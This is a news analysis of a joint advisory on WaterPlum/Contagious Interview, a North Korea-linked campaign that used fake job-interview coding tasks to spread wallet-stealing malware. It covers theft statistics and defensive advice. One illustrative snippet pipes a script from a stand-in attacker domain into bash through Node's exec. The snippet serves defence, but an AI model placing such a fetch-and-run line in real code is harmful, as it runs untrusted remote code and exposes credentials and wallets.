North Korea’s cryptocurrency theft operation just added a new chapter, and this one runs through job boards instead of exchange hot wallets. A joint law enforcement advisory published around September 18, 2026, and reported widely through September 26, names a campaign called WaterPlum, also tracked as Contagious Interview, that infected at least 30,000 devices across more than 100 countries and pulled funds or account credentials out of more than 7,000 cryptocurrency wallets. The haul: roughly 1.7 billion Japanese yen, about $10.71 million, wired back to Pyongyang between December 2025 and July 2026.
The dollar figure is modest next to the $1.5 billion Bybit theft that rocked the industry in February 2025. But the mechanics are the part worth studying. WaterPlum did not break a smart contract or brute-force an exchange. It got developers, designers, and crypto-industry employees to run code on their own machines, voluntarily, as part of what looked like a completely normal job interview. That’s a seed phrase security and endpoint security problem as much as it is a cryptocurrency one, and it’s spreading faster than most companies’ hiring processes can adapt to it.
What the Joint Advisory Actually Says
The advisory came out of a coordinated effort involving Japan’s National Police Agency, the FBI, the U.S. Department of Defense Cyber Crime Center, Australia’s Cyber Security Centre, and German authorities, according to reporting from CyberSecurityNews and CryptoTimes. The document is blunt about scale. In its own language, cited by BleepingComputer: “WaterPlum actors have infected at least 30,000 devices in more than 100 countries and exfiltrated funds or account credentials from over 7,000 cryptocurrency wallets.” A second line states that WaterPlum actors “transferred 1.7 billion Japanese yen (JPY) (equivalent to 10.71 million USD) of cryptocurrency assets to the Democratic People’s Republic of Korea (DPRK).”
Two things stand out about the wording. First, the advisory separates “funds” from “account credentials” when describing the 7,000-plus affected wallets. That means the real number of compromised wallets could include accounts where attackers grabbed login details or seed phrase fragments but hadn’t yet drained the balance when the advisory was written. Second, the $10.71 million figure covers only confirmed transfers to North Korea-controlled addresses. Stolen credentials that haven’t been cashed out yet don’t show up in that total, so the real cost to victims is likely higher once forensic follow-up catches up with the case.
Inside the Fake Job Interview Playbook
WaterPlum’s method leans entirely on social engineering rather than a technical exploit. Operators pose as recruiters or hiring managers, typically targeting software developers, web designers, and people already working in cryptocurrency, blockchain, or Web3 roles. The pitch follows a familiar arc: an inbound message about a lucrative remote contract, a friendly video call, and then a “technical assessment” the candidate has to complete to move forward.
That assessment is the payload delivery mechanism. Victims are asked to clone a repository, install a package, or run a script supplied by the “recruiter” to complete a coding challenge. Once executed, the code installs malware capable of harvesting credentials, browser session data, and anything resembling wallet access, then quietly ships it back to WaterPlum’s infrastructure before routing value toward North Korea. Nobody has to click a phishing link or fall for a fake login page. They just have to want the job badly enough to run someone else’s code, which is exactly what a real technical interview asks candidates to do anyway.
Why This Bypasses Normal Defenses
Most corporate security stacks are built to catch malicious email attachments, credential-stuffing attempts, and known malware signatures. A fake interview assignment sails past all three. It arrives through a legitimate-looking recruiting platform or direct message, it’s not flagged as an attachment, and the code itself can be novel enough to dodge signature-based antivirus tools. The target is also usually on a personal laptop, not a monitored corporate endpoint, which means there’s no EDR agent watching what the coding challenge actually does when it runs.
Security teams that have studied similar campaigns describe a pattern that researchers commonly flag as an indicator of compromise in these interview-themed intrusions: a script that quietly shells out to an external host during setup. The pattern below is illustrative of what researchers have described in writeups of interview-lure malware, not a working exploit:
// Red-flag pattern reported in fake "coding assignment" repos
// tied to interview-themed crypto-theft campaigns
const { exec } = require("child_process");
// A legitimate take-home test never needs to reach an external
// host during npm install or first run.
exec("curl -s https://attacker-controlled-domain/setup.sh | bash");If a take-home assignment reaches out to an unfamiliar domain during installation, that’s the moment to stop, not the moment to debug it.
WaterPlum, Contagious Interview, and the Naming Mess
Anyone trying to map WaterPlum onto the broader North Korean threat landscape will run into a familiar problem: government agencies and private security vendors rarely use the same names for the same activity. The joint advisory treats WaterPlum and Contagious Interview as the same operation. Names like Citrine Sleet, Famous Chollima, and PatchWork show up frequently in coverage of related North Korean campaigns, but nothing in the current advisory confirms those are formal aliases for this exact cluster. Overlapping tooling and shared objectives across North Korea’s cyber units make clean attribution genuinely hard, even for the agencies writing the reports.
What is consistent across nearly every North Korea-linked crypto campaign, regardless of the label attached to it, is the underlying goal: convert stolen access into liquid cryptocurrency and move it toward Pyongyang as fast as possible, before exchanges, chain-analysis firms, or law enforcement can freeze it. WaterPlum’s fake-recruiter angle is simply a new delivery mechanism bolted onto that same objective, one aimed squarely at the people building and running crypto infrastructure rather than the infrastructure itself.
Seed Phrase Security in an Employment-Themed Attack
Most seed phrase security advice focuses on physical threats: don’t photograph your recovery phrase, don’t store it in cloud notes, keep it off any internet-connected device. WaterPlum sidesteps all of that by going after the device itself rather than the phrase in isolation. If malware has full access to a developer’s laptop, it can capture clipboard contents, browser-extension wallet data, saved session tokens, and any file that looks like it contains a recovery phrase or private key, regardless of how carefully that phrase was originally generated or backed up.
That reframes seed phrase security as an endpoint-isolation problem for anyone who works in or around crypto professionally. A hardware wallet that never exposes its private key to a connected computer still blocks this style of attack, because the malware never gets a key to steal, only a transaction to try to trick the user into approving. A software wallet or browser extension sitting on the same machine used for job interviews and take-home coding tests offers no such separation. The advisory’s own recommended mitigations echo that logic almost word for word: run any unsolicited “assignment” in a disposable virtual machine, keep wallet access off of interview and testing devices entirely, and treat unfamiliar code execution requests from recruiters as a red flag rather than a normal hiring step.
North Korea’s Crypto Theft Machine, in Numbers
WaterPlum’s $10.71 million is a rounding error against the scale North Korea-linked actors have reached over the past two years. Chainalysis put the 2025 total for North Korea-linked theft at roughly $2.02 billion in its December 18, 2025 report, describing a 51% year-over-year jump and putting the group’s cumulative all-time haul at an estimated $6.75 billion. TRM Labs, using a different attribution methodology, put the 2025 figure at $1.92 billion in its own January 2026 crypto crime report. The two firms don’t agree on an exact number, which is normal given how differently they classify ambiguous incidents, but they agree on the trajectory: it’s still climbing.
TRM Labs has also tracked North Korea’s share of total global crypto-hacking losses year over year, and the growth curve there is arguably more alarming than the raw dollar figures. From under 10% of global losses in 2020 and 2021, the share climbed to 22% in 2022, 37% in 2023, 39% in 2024, and 64% in 2025. TRM’s first-half 2026 report, published July 1, 2026, put North Korea’s share at approximately 66%, or $643 million out of $972 million in total global crypto-hack losses across 207 recorded incidents in the first six months of the year.
| Year | North Korea’s Share of Global Crypto-Theft Losses | Source |
|---|---|---|
| 2020–2021 | Under 10% | TRM Labs |
| 2022 | 22% | TRM Labs |
| 2023 | 37% | TRM Labs |
| 2024 | 39% | TRM Labs |
| 2025 | 64% | TRM Labs (April 30, 2026 report) |
| H1 2026 | ~66% ($643M of $972M globally) | TRM Labs (July 1, 2026 report) |
Read together, those numbers describe an industry where roughly two out of every three dollars stolen from crypto users and platforms is now flowing toward a single state actor. That’s a market-structure problem, not just a security-incident problem, because it means insurance pricing, exchange risk models, and custody design all have to account for one adversary disproportionately shaping the threat landscape.
How WaterPlum Compares to Bigger North Korean Heists
WaterPlum’s dollar total looks small specifically because North Korea’s benchmark heists are enormous. The February 2025 Bybit theft, attributed to DPRK-linked operatives, has been sized at roughly $1.5 billion by Chainalysis and $1.46 billion by TRM Labs in its March 10, 2026 report, making it the largest single crypto exchange theft on record and, by Chainalysis’s own math, responsible for something like three-quarters of North Korea’s entire 2025 haul on its own. The March 2022 Ronin Bridge exploit tied to the Axie Infinity ecosystem, widely reported at around $625 million, remains the highest-profile example of North Korea going after a bridge contract directly instead of a person.
WaterPlum sits at the opposite end of that spectrum: not one big contract flaw or one compromised custodian, but thousands of small, individually modest thefts spread across more than 100 countries. That distribution is arguably harder to defend against at a policy level, because there’s no single custodian or bridge contract to audit and patch. The target is human judgment during a hiring process, repeated at scale.
| Incident | Date | Reported Amount | Attack Method |
|---|---|---|---|
| Ronin Bridge (Axie Infinity) | March 2022 | ~$625 million | Bridge validator key compromise |
| Bybit | February 2025 | $1.46B–$1.5 billion | Exchange cold/hot wallet transfer compromise |
| WaterPlum / Contagious Interview | Dec. 2025–July 2026 | ~$10.71 million (reported to date) | Fake job interview malware, 7,000+ wallets |
Market Impact: Exchanges, Custodians, and DeFi Teams All Get a New Line Item
The immediate financial impact of a $10.7 million theft is small at the scale of a market that has seen single incidents in the billions. The operational impact is bigger. Crypto and Web3 companies now have to treat their own hiring pipeline as an attack surface, which is a genuinely new item on a security budget. That means sandboxed interview environments, take-home tests that never require installing anything on a personal machine, and identity verification steps for recruiters that didn’t exist two years ago.
Insurers underwriting crypto custody and exchange risk are also watching campaigns like WaterPlum closely, because a hiring-pipeline compromise doesn’t fit neatly into existing smart-contract-audit or cold-storage risk models. If an engineer’s personal laptop gets compromised during a fake interview and that engineer has any production access, the blast radius can look a lot like an insider-threat scenario even though no insider did anything wrong. Expect due-diligence questionnaires from institutional crypto investors to start asking directly about interview and recruiting security controls, not just wallet architecture.
Why Hardware Wallets Blunt This Specific Attack
The competitive story here is really a story about custody architecture. Hot wallets and browser-extension wallets that sign transactions on the same device where the malware landed are directly exposed: if the device is compromised, the private key or the transaction-approval flow is compromised with it. Hardware wallets change the calculus because the signing key never leaves a separate physical device, so malware on a laptop can, at best, try to trick a user into approving a malicious transaction on the hardware device’s own screen, a much harder and much more visible attack to pull off than silently exfiltrating a key.
That doesn’t make hardware wallets immune. Interview-lure malware could still capture exchange login credentials, two-factor codes, or session tokens tied to custodial accounts that don’t involve a hardware device at all. But for anyone holding self-custodied funds, the WaterPlum case is a fairly clean argument for keeping any device used for job hunting, freelance gigs, or running unfamiliar code completely separate from any device that ever touches a seed phrase or signs a transaction.
Historical Context: A Decade of North Korean Crypto Operations
North Korea’s turn toward cryptocurrency theft as a state revenue source dates back roughly a decade, but the scale has changed dramatically. Early operations focused on exchange breaches and phishing. The 2022 Ronin Bridge exploit marked a shift toward attacking DeFi infrastructure directly, at a scale large enough to threaten an entire gaming ecosystem’s economy. By 2025, with Bybit, the target had become one of the largest centralized exchanges in the world, at a scale that started drawing direct comparisons to nation-state bank heists rather than ordinary cybercrime.
WaterPlum represents a third phase: distributed, individually small, and aimed at people rather than protocols or platforms. It’s a rational pivot. As exchanges and bridges harden their defenses and chain-analysis firms get faster at freezing stolen funds after a big heist, going after thousands of individual developers and crypto-industry employees offers a steadier, harder-to-block revenue stream, even if any single theft looks unremarkable on its own.
What Companies and Individuals Should Actually Do
The practical response splits into two groups: companies that hire developers, and individuals who hold crypto. Companies should treat every unsolicited technical assignment as untrusted code by default, run it in a disposable VM or sandbox with no network access to production systems, and verify recruiters through a company’s official domain and a separately obtained phone number rather than trusting whatever contact information the recruiter provides. Developer endpoints should never have standing access to treasury wallets, signing keys, or production credentials, full stop. Any suspected compromise should be reported to the FBI’s Internet Crime Complaint Center (IC3) and the relevant national authority, since these cases feed the same advisories that help other companies spot the next campaign.
Individuals job-hunting in tech or crypto should assume that any coding assignment might be a delivery mechanism, not just a test of their skills. That means running the assignment on a spare machine, a fresh virtual machine, or at minimum a separate user account with no access to a password manager, browser-saved sessions, or wallet software. If a device has already run an unfamiliar recruiter’s code and holds any cryptocurrency, the advisory’s guidance is straightforward: move funds to a freshly generated wallet from a clean device, and never re-enter an old seed phrase on the device suspected of compromise.
Five Predictions for the Next 12 Months
Based on the trajectory in TRM Labs’ and Chainalysis’s own reporting, a few outcomes look likely heading into 2027. First, North Korea’s share of global crypto-theft losses probably stays above 60% unless a single non-DPRK mega-hack skews the ratio, since the H1 2026 figure already tracked close to the 2025 level. Second, expect more advisories specifically naming employment-themed intrusion campaigns, since WaterPlum is unlikely to be the only cluster using this vector, and agencies have gotten faster about calling these out publicly. Third, crypto and Web3 hiring processes will increasingly standardize on sandboxed take-home environments hosted entirely in the cloud, removing the need for candidates to run anything locally at all. Fourth, hardware wallet adoption among professional developers and crypto employees should tick up specifically as a response to endpoint-focused campaigns like this one, separate from any exchange-hack-driven adoption bump. Fifth, expect chain-analysis firms to publish more granular attribution linking specific wallet clusters back to WaterPlum-style campaigns as the funds move through mixers and cross-chain bridges, gradually raising the confirmed dollar total well above today’s $10.71 million.
The Bigger Picture
WaterPlum won’t make headlines the way a billion-dollar exchange breach does, and that’s arguably the point. A campaign built around 7,000 small thefts spread across more than 100 countries is designed to stay under the threshold that triggers major institutional response, while still generating a real, recurring revenue stream. The dollar total is small. The attack surface it exploits, ordinary hiring processes at ordinary companies, is enormous, and it isn’t going away because a single exchange tightens its withdrawal controls. Anyone who writes code for a living, and especially anyone who writes code near a crypto wallet, is now a viable target simply by looking for work.
Frequently Asked Questions
What is WaterPlum?
WaterPlum, also called Contagious Interview in the joint advisory, is a North Korea-linked hacking campaign that used fake job interviews and recruiter contact to trick victims into running malware, then stole cryptocurrency-related credentials and funds from the infected devices.
How much money did WaterPlum steal?
The joint advisory reported approximately 1.7 billion Japanese yen, or about $10.71 million, transferred to North Korea between December 2025 and July 2026, drawn from more than 7,000 affected cryptocurrency wallets.
How many devices were infected?
At least 30,000 devices across more than 100 countries, according to the advisory covered by BleepingComputer and CyberSecurityNews.
Which agencies issued the advisory?
Japan’s National Police Agency led the joint effort, with participation reported from the FBI, the U.S. Department of Defense Cyber Crime Center, Australia’s Cyber Security Centre, and German authorities.
Is WaterPlum the same as Lazarus Group?
The advisory does not establish a formal equivalence between WaterPlum and Lazarus Group, or other named clusters like Citrine Sleet and Famous Chollima. North Korean threat-actor naming is fragmented across agencies and vendors, and overlapping tooling makes clean one-to-one attribution difficult even for investigators.
Does a hardware wallet protect against this attack?
A hardware wallet substantially reduces the risk because the private key never leaves the device, but it doesn’t eliminate risk entirely if the same compromised computer is used to approve transactions or if custodial exchange credentials are stolen alongside wallet data.
How does WaterPlum compare to the Bybit hack?
Bybit’s February 2025 theft, sized at roughly $1.46 billion to $1.5 billion by TRM Labs and Chainalysis, targeted a single exchange’s wallet infrastructure directly. WaterPlum instead spread thousands of smaller thefts across individual developers and crypto workers, totaling a reported $10.71 million so far.
What should job seekers in tech and crypto do to stay safe?
Verify recruiters through official company channels rather than the contact details they provide, run any take-home coding assignment in a disposable virtual machine with no access to wallets or saved credentials, and never install software from an unverified recruiter on a device that holds cryptocurrency.
